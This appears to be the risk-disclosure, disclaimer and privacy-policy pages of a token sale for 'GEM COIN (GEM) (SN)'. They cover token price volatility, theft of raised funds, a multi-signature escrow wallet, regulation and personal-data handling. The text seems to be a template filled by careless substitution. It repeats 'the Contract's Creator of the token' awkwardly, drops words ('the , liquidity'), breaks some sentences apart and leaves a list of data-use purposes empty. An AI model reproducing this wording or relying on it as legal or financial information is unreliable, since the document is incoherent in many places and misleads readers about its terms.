The Contract's Creator of the token may not be able to pay any anticipated rewards in the future.

There is no assurance that there will be sufficient engagement in the Contract's Creator of the token's other tokens

that is yet to be developed such that you will receive any rewards anticipated to be distributed to active users of the Contract's Creator of the token's other tokens. Further, even in the event there is substantial

engagement and interactions among the users of the Contract's Creator of yet to be developed, there is no assurance you personally will receive any part of the rewards. This is because the ability of the Contract's Creator of the token to pay any reward to you will depend on the future results of operations

and the future business and financial condition of the Contract's Creator of the token, and there is no assurance of the

future results of operations and the future business and financial condition of the Contract's Creator of the token.

There is no assurance of any success of the Contract's Creator of the token's Token Sale or other tokens that is yet to

be developed as envisaged by the Available Information.

The value of, and demand for, the Tokens hinges heavily on the performance of the Contract's Creator of the token's

Token Sale and and the continuous active engagement of its users and success of its contemplated business lines. There is no assurance that the Contract's Creator of the token's

Token Sale will be successful or that its will gain or continue to gain traction. While the Contract's Creator of the token has made every effort to provide a realistic estimate,

there is also no assurance that the cryptocurrencies raised in the Token Sale will be sufficient for the development of the Contract's Creator of the token's other tokens. For the foregoing or any other reason, the

development of the Contract's Creator of the token's other tokens and launch of the anticipated Token functionality

may not be completed and there is no assurance that it will be launched at all. As such, distributed Tokens may hold little or no worth or value and this would impact any trading price and/or use of the

Tokens.

The trading price of the Tokens may fluctuate following the Token Sale.

The prices of cryptographic tokens in general tend to be relatively volatile, and can fluctuate significantly over short periods of time. The demand for, and the corresponding market price of, the Tokens may fluctuate significantly and rapidly in response to, among others, the following factors, some of which are beyond the control of the Contract's Creator of the token:

new technical innovations;

analysts' speculations, recommendations, perceptions or estimates of the Token's market price or the Contract's Creator of the token's financial and business performance;

changes in market valuations and token prices of entities with businesses similar to that of the Contract's Creator of the token that may be listed on the same cryptocurrency exchanges or markets as the Tokens;

announcements by the Contract's Creator of the token of significant events, for example partnerships, sponsorships or

new product developments;

fluctuations in market prices and trading volume of cryptocurrencies on cryptocurrency exchanges or markets;

additions or departures of key personnel of the Contract's Creator of the token;

success or failure of the Contract's Creator of the token's management in implementing business and growth strategies;

and/or

changes in conditions affecting the blockchain or financial technology industry, the general economic conditions or market sentiments, or other events or factors.

The funds raised in the Token Sale are exposed to risks of theft.

The Contract's Creator of the token will make every effort to ensure that the funds received from the Token Sale will be

securely held in an escrow wallet, which is a multi-signature address with access thereto by private keys held by reputable and trusted parties. Further, the Contract's Creator of the token may make every effort to ensure

that the funds received by it from Token Sale will be securely held through the implementation of security measures. Notwithstanding such security measures, there is no assurance that there will be no theft of the cryptocurrencies as a result of hacks, sophisticated cyber-attacks, distributed denials of service or errors, vulnerabilities or defects on the Token Sale website, in the smart contract(s) on which the escrow wallet and the Token Sale relies, on the Ethereum blockchain or any other

blockchain, or otherwise. Such events may include, for example, flaws in programming or source code leading to exploitation or abuse thereof. In such event, even if the Token Sale is completed, the Contract's Creator of the token may not be able to receive the cryptocurrencies raised and the Contract's Creator of the token may not be able to use such funds for the development of the Contract's Creator of the token's other tokens. In such case, the launch of the Contract's Creator of the token's other tokens might be temporarily or permanently curtailed. As such,

distributed Tokens may hold little worth or value and this would impact their trading price.

RISKS RELATING TO THE ESCROW WALLET

The private keys to the escrow wallet may be compromised and the cryptocurrencies may not be able to be disbursed. The escrow wallet is designed to be secure. Each of the holders of the three (3) private keys to the escrow wallet will use all reasonable efforts to safeguard their respective keys, but in the unlikely event that any two (2) of the three (3) keys to the escrow wallet are, for any reason whatsoever, lost, destroyed or otherwise compromised, the funds held by the escrow wallet may not be able to be retrieved and disbursed, and may be permanently unrecoverable. In such event, even if the Token Sale is successful, the Contract's Creator of the token will not be able to receive the funds raised and the Contract's Creator of the token will not be able to use such funds for the development of the Contract's Creator of the token's business strategy. As such, distributed Tokens may hold little worth or value and this would impact their trading price.

RISKS RELATING TO THE CONTRACT'S CREATOR OF THE TOKEN

The Contract's Creator of the token may be materially and adversely affected if it fails to effectively manage its operations

as its business develops and evolves, which would have a direct impact on its ability to develop, maintain or operate the Contract's Creator of the token's other tokens and/or develop, structure and/or licence any

Token functionality.

The financial technology and cryptocurrency industries in which the Contract's Creator of the token competes have grown

rapidly over the past few years and continue to evolve in response to new technological advances, changing business models, shifting regulations and other factors. As a result of this constantly

changing environment, the Contract's Creator of the token may face operational difficulties in adjusting to the changes, and the sustainability of the Token will depend on its ability to manage its operations, ensure that it hires qualified and competent employees, and provides proper training for its personnel. As its business evolves, the Contract's Creator of the token must also expand and adapt its operational infrastructure. The Contract's Creator of the token's business will in part rely on its blockchain-based software systems, cryptocurrency wallets or other related token storage mechanisms, blockchain technology and smart contract technology. All of these systems, tools, and skillsets represent complex, costly, and rapidly changing technical infrastructure. In order to demonstrate continued ability to effectively manage technical support infrastructure for the Contract's Creator of the token's and the future functionality of the Tokens, the Contract's Creator of the token will need to continue to upgrade and improve its data systems and other operational systems, procedures, and controls. These upgrades and improvements will require a dedication of resources and are likely to be complex and increasingly rely on hosted computer services from third parties that the Contract's Creator of the token does not or will not control. If the Contract's Creator of the token is unable to adapt its systems and organisation in a timely, efficient, and cost-effective manner to accommodate changing circumstances, its business, financial condition and/or results of operations may be adversely affected. If the third parties whom the Contract's Creator of the token relies on are subject to a security breach or otherwise suffer disruptions that impact the services the Contract's Creator of the token uses, the integrity and availability of its internal information could be compromised, which may consequently cause the loss of confidential or proprietary information and/or economic loss. The loss of financial, labour or other resources, and any other adverse effect on the Contract's Creator of the token's business, financial condition and/or operations, would have a direct adverse effect on the Contract's Creator of the token's ability to develop, maintain or operate, structure and/or license the anticipated Token functionality. Any adverse effects affecting the Contract's Creator of the token business or technology are likely to also adversely impact the , liquidity, and trading price of the Tokens.

The Contract's Creator of the token may experience system failures, unplanned interruptions in its network or services,

hardware or software defects, security breaches or other causes that could adversely affect the Contract's Creator of the token's infrastructure network, and/or the Contract's Creator of the token's

The Contract's Creator of the token is not able to anticipate when there would be occurrences of hacks, cyber-attacks,

distributed denials of service or errors, vulnerabilities or defects in:

in the smart contracts on which the Contract's Creator of the token or the Contract's Creator of the token's business

strategy relies, or on the Ethereum or any other blockchain. Such events may include, for example, flaws in programming or source code leading to exploitation or abuse thereof. The Contract's Creator of the token may not

be able to detect such hacks, cyber-attacks, distributed denials of service errors vulnerabilities or defects in a timely manner, and may not have sufficient resources to efficiently cope with multiple service incidents happening simultaneously or in rapid succession.

The Contract's Creator of the token's network or services, which would Token value yet to be developed and, if successfully structured, developed, licensed and launched, the Token functionality, could be disrupted by numerous events, including natural disasters, equipment breakdown, network connectivity downtime, power losses, or even intentional disruptions of its services, such as disruptions caused by software viruses or attacks by unauthorized users, some of which are beyond the Contract's Creator of the token's control. There can be no assurance that cyber-attacks, such as

distributed denials of service, will not be attempted in the future or that the Contract's Creator of the token's security

measures will be effective. The Contract's Creator of the token may be prone to attacks on its infrastructure intended to

steal information about its technology, financial data or user information or take other actions that would be damaging to the Contract's Creator of the token and/or holders of the Tokens. Any significant breach of the

Contract's Creator of the token's security measures or other disruptions resulting in a compromise of the usability,

stability, and security of the Contract's Creator of the token's may adversely

affect the , liquidity and/or trading price of the Tokens.

The Contract's Creator of the token may in the future be dependent in part on the location and data centre facilities of third parties.

The Contract's Creator of the token's future infrastructure network may be established in whole or in part through servers which it owns and/or houses at the location facilities of third parties, and/or servers that it rents at data centre facilities of third parties. If the Contract's Creator of the token is unable to renew its data facility leases on commercially reasonable terms or at all, the Contract's Creator of the token may be required to transfer its servers to a new data centre facility, and may incur significant costs and possible service interruption in connection with the relocation. These facilities are also vulnerable to damage or interruption from, among others, natural disasters, arson, terrorist attacks, power losses, and telecommunication failures.

Additionally, the third-party providers of such facilities may suffer a breach of security as a result of third-party action, employee error, malfeasance or otherwise, and a third party may obtain unauthorised access to the data in such servers. The Contract's Creator of the token and the providers of such facilities may be unable to anticipate these techniques or to implement adequate preventive measures. General global market and economic conditions may have an adverse impact on the Contract's Creator of the token's operating performance, results of operations and/or cash flows.

The Contract's Creator of the token could continue to be affected by general global economic and market conditions.

Challenging economic conditions worldwide have from time to time, contributed, and may continue to contribute, to slowdowns in the information technology industry at large. Weakness in the economy could have a negative effect on the Contract's Creator of the token's business, operations and financial condition, including decreases in revenue and operating cash flows, and inability to attract future equity and/or debt financing on commercially reasonable terms. Additionally, in a down-cycle economic environment, the Contract's Creator of the token may experience the negative effects of a slowdown in trading and usage of the Contract's Creator of the token's and may delay or cancel the development, structuring, licensing and/or launch of the anticipated Token functionality.

Suppliers on which the Contract's Creator of the token relies for servers, bandwidth, location and other services could also be negatively impacted by economic conditions that, in turn, could have a negative impact on the Contract's Creator of the token's operations or expenses. There can be no assurance, therefore, that current economic conditions or worsening economic conditions or a prolonged or recurring recession will not have a significant, adverse impact on the Contract's Creator of the token's business, financial condition and results of operations, and hence, the Contract's Creator of the token's and/or the ability to develop, structure, license and/or launch any Token functionality. Any such circumstances would then correspondingly negatively impact the , liquidity, and/or trading price of the Tokens. The Contract's Creator of the token or the Tokens may be affected by newly implemented regulations.

Distributed ledger technologies, businesses and activities as well as cryptocurrencies and cryptocurrency-related businesses and activities are generally unregulated worldwide, but numerous regulatory authorities across jurisdictions have been outspoken about considering the implementation of regulatory regimes which govern distributed ledger technologies, businesses and activities as well as cryptocurrencies and cryptocurrency-related businesses and activities. The Contract's Creator of the token or the Tokens may be affected by newly implemented regulations relating to distributed ledger technologies, businesses and activities as well as cryptocurrencies and cryptocurrency-related businesses and activities, including having to take measures to comply with such regulations, or having to deal with queries, notices, requests or enforcement actions by regulatory authorities, which may come at a substantial cost and may also require substantial modifications to the Contract's Creator of the token's and/or the anticipated Token functionality.

This may impact the appeal or practicality or functionality of the Contract's Creator of yet to be developed and/or the anticipated Token functionality for users and result in decreased usage of and demand for the Contract's Creator of the token's other tokens and the Tokens. Further, should the costs (financial or otherwise) of complying with such newly implemented regulations exceed a certain threshold, maintaining the Contract's Creator of the token's and/or developing, structuring, licensing and/or launching the Token functionality may no longer be commercially viable, and the Contract's Creator of the token may opt to discontinue the Contract's Creator of the token's other tokens that

is yet to be developed and/or the anticipated Token functionality, and/or the Tokens. Further, it is difficult to predict how or whether governments or regulatory authorities may implement any changes to laws and regulations affecting distributed ledger technology and its applications, including the Contract's Creator of the token's and/or the anticipated Token functionality, and/or the Tokens.

The Contract's Creator of the token may also have to cease operations in a jurisdiction that makes it illegal to operate in such jurisdiction, or make it commercially unviable or undesirable to obtain the necessary regulatory approval(s) to operate in such jurisdiction. In scenarios such as the foregoing, the , liquidity, and/or trading price of Tokens will be adversely affected and/or Tokens may cease to be traded.

There may be unanticipated risks arising from the Tokens.

Cryptographic tokens such as the Tokens are a relatively new and dynamic technology. In addition to the risks included in the above discussion of risk factors, there are other risks associated with your purchase, holding, and use of the Tokens, including those that the Contract's Creator of the token cannot anticipate. Such risks may further appear as unanticipated variations or combinations of the risks discussed above.

PRIVACY POLICY

By purchasing Tokens, you agree to your personal data, (i.e., your e-mail address, name, address and other details personal to you) being processed by the Contract's Creator of the token for its business purposes or the purposes of building, promoting, and communicating (about) the Contract's Creator of the token's other tokens that

is yet to be developed and the Tokens. The Contract's Creator of the token agrees to keep your email address and other personal data private and not share it with the public (e.g., by including it on any external lists or selling to any third parties).

DISCLAIMER

The presentation of the Available Information is solely for informational purposes. Anyone interested in purchasing Tokens and participating in the Token Sale should consider the various risks prior to making any kind of decision in respect of the Token Sale. The Available Information does not comprise any advice by the Contract's Creator of the token or by the Contract's Creator of the token Representatives, or any recommendation to any recipient of the Available Information, by the virtue of any participation in the Token Sale or

otherwise. The Available Information does not necessarily identify, or claim to identify, all the risk factors connected with the Contract's Creator of the token, the Contract's Creator of the token's , the Tokens, the Token Sale, any future Token functionality or the Available Information. All the participants must make their own independent evaluation, after making such investigations as they consider essential, of the merits of participating in the Token Sale and after taking their own independent professional advice. Any participant in the Token Sale should check with and rely upon their own investment, accounting, legal and tax representatives and consultants in respect of such matters concerning the Contract's Creator of the token, the Contract's Creator of the token's , the Tokens, the Token Sale, any future Token functionality and the Available Information and to assess separately the financial risks, consequences and appropriateness of the purchase of Tokens, or if in any doubt about the facts set out in the Available Information. A purchase of Tokens comprises considerable risk and might involve extraordinary risks that may lead to a loss of all or a significant portion of monies or monetary value utilised to acquire Tokens. Participants in the Token Sale are urged to completely understand, be aware of and accept the characteristics of the Contract's Creator of the token, the

Contract's Creator of the token's , the Tokens, the Token Sale, any future

Token functionality and the Available Information. If you are not prepared to accept any or all of these Terms or the risks set out in these Terms then YOU ARE URGED NOT TO PARTICIPATE IN THE TOKEN SALE. No guarantee or assurance is given by the Contract's Creator of the token or by the Contract's Creator of the token Representatives

that the Contract's Creator of the token's proposals, objectives and/or outcomes set out in the Available Information will

be achieved in whole or in part. You are urged to consider whether participation in the Token Sale is suitable for you having regard to your personal and financial circumstances and your financial resources.

RESTRICTIONS ON DISTRIBUTION AND DISSEMINATION OF THE AVAILABLE INFORMATION

The distribution or dissemination howsoever of all or any part of the Available Information may be prohibited or restricted by the laws, regulatory requirements and rules of certain jurisdictions. In the case where any such restriction applies, you are responsible for informing yourself in respect of the same and for observing any such restrictions which are applicable to your possession and/or dissemination of all or any part of the Available Information at your own expense and without liability to the Contract's Creator of the token.

Persons to whom a copy of all or any part of the Available Information has been distributed or disseminated, provided access to or who otherwise have all or any part of the Available Information in their possession shall not circulate it to any other persons, reproduce or otherwise distribute any information contained herein for any purpose whatsoever nor permit or cause the same to occur.

NO OFFER OF SECURITIES OR REGISTRATION

This White Paper does not constitute a prospectus or offer document of any sort and is not intended to constitute an offer of securities or a solicitation for investment in securities in any jurisdiction. No person is bound to enter into any contract or binding legal commitment and no cryptocurrency or other form of payment is to be accepted on the basis of all or any part of the Available Information.

Any agreement in relation to any sale and purchase of Tokens is to be governed by the terms and conditions of such agreement and no other document. In the event of any inconsistencies between the terms and conditions of that agreement and the Available Information, those terms and conditions shall prevail.

You are not eligible to purchase any Tokens in the Token Sale if you are a citizen, resident (tax or otherwise) or green card holder of a Restricted Jurisdiction or you are a Restricted Person. No regulatory authority has examined or approved of any of the Available Information. No such action has been or will be taken under the laws, regulatory requirements or rules of any jurisdiction. The publication, distribution or dissemination of the Available Information does not imply that the applicable laws, regulatory requirements or rules have been complied with.

Privacy Policy

Your privacy is important to us. It is GEM COIN (GEM) (SN) Token's policy to respect

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Privacy Policy

Your privacy is important to us. It is GEM COIN (GEM) (SN) Token's policy to respect your privacy and comply

with any applicable law and regulation regarding any personal information we may collect about you, including across our website, GEM COIN (GEM) (SN) , and other sites we own and operate.

This policy is effective as of 28 September 2021 and was last updated on 28 September 2021.

Information We Collect

Information we collect includes both information you knowingly and actively provide us when using

or participating in any of our services and promotions, and any information automatically sent by your devices in the course of accessing our products and services.

Log Data

When you visit our website, our servers may automatically log the standard data provided by your web browser. It may include your device's Internet Protocol (IP) address, your browser type and version, the pages you visit, the time and date of your visit, the time spent on each page, other details about your visit, and technical details that occur in conjunction with any errors you may encounter.

Please be aware that while this information may not be personally identifying by itself, it may be possible to combine it with other data to personally identify individual persons.

Personal Information

We may ask for personal information which may include one or more of the following:

Name

Email

Social media profiles

Legitimate Reasons for Processing Your Personal Information

We only collect and use your personal information when we have a legitimate reason for doing so. In which instance, we only collect personal information that is reasonably necessary to provide our services to you.

Collection and Use of Information

We may collect personal information from you when you do any of the following on our website:

Use a mobile device or web browser to access our content

Contact us via email, social media, or on any similar technologies

When you mention us on social media

We may collect, hold, use, and disclose information for the following purposes, and personal information will not be further processed in a manner that is incompatible with these purposes:

Please be aware that we may combine information we collect about you with general information or research data we receive from other trusted sources.

Security of Your Personal Information

When we collect and process personal information, and while we retain this information, we will protect it within commercially acceptable means to prevent loss and theft, as well as unauthorized

access, disclosure, copying, use, or modification.

Although we will do our best to protect the personal information you provide to us, we advise that no method of electronic transmission or storage is 100% secure, and no one can guarantee absolute data security. We will comply with laws applicable to us in respect of any data breach. You are responsible for selecting any password and its overall security strength, ensuring the security of your own information within the bounds of our services.

How Long We Keep Your Personal Information

We keep your personal information only for as long as we need to. This time period may depend on what we are using your information for, in accordance with this privacy policy. If your personal information is no longer required, we will delete it or make it anonymous by removing all details that identify you.

However, if necessary, we may retain your personal information for our compliance with a legal, accounting, or reporting obligation or for archiving purposes in the public interest, scientific, or historical research purposes or statistical purposes.

Children's Privacy

We do not aim any of our products or services directly at children under the age of 13, and we do not knowingly collect personal information about children under 13.

International Transfers of Personal Information

The personal information we collect is stored and/or processed where we or our partners, affiliates, and third-party providers maintain facilities. Please be aware that the locations to which we store, process, or transfer your personal information may not have the same data protection laws as the country in which you initially provided the information. If we transfer your personal information to third parties in other countries: (i) we will perform those transfers in accordance with the requirements of applicable law; and (ii) we will protect the transferred personal information in accordance with this privacy policy.

Your Rights and Controlling Your Personal Information

You always retain the right to withhold personal information from us, with the understanding that your experience of our website may be affected. We will not discriminate against you for exercising any of your rights over your personal information. If you do provide us with personal information you understand that we will collect, hold, use and disclose it in accordance with this privacy policy. You retain the right to request details of any personal information we hold about you.

If we receive personal information about you from a third party, we will protect it as set out in this privacy policy. If you are a third party providing personal information about somebody else, you represent and warrant that you have such person's consent to provide the personal information to us.

If you have previously agreed to us using your personal information for direct marketing purposes, you may change your mind at any time. We will provide you with the ability to unsubscribe from our email-database or opt out of communications. Please be aware we may need to request specific information from you to help us confirm your identity.

If you believe that any information we hold about you is inaccurate, out of date, incomplete, irrelevant, or misleading, please contact us using the details provided in this privacy policy. We will take reasonable steps to correct any information found to be inaccurate, incomplete, misleading, or out of date.

If you believe that we have breached a relevant data protection law and wish to make a complaint, please contact us using the details below and provide us with full details of the alleged breach. We will promptly investigate your complaint and respond to you, in writing, setting out the outcome of our investigation and the steps we will take to deal with your complaint. You also have the right to contact a regulatory body or data protection authority in relation to your complaint.

Use of Cookies

We use "cookies" to collect information about you and your activity across our site. A cookie is a small piece of data that our website stores on your computer, and accesses each time you visit, so we can understand how you use our site. This helps us serve you content based on preferences you have specified.

Limits of Our Policy

Our website may link to external sites that are not operated by us. Please be aware that we have no control over the content and policies of those sites, and cannot accept responsibility or liability for their respective privacy practices.

Changes to This Policy

At our discretion, we may change our privacy policy to reflect updates to our business processes, current acceptable practices, or legislative or regulatory changes. If we decide to change this privacy policy, we will post the changes here at the same link by which you are accessing this privacy policy. If required by law, we will get your permission or give you the opportunity to opt in to or opt out of,

as applicable, any new uses of your personal information.

Contact Us

For any questions or concerns regarding your privacy, you may contact us using the following details:

Admin [a] GEM-COIN.ONLINE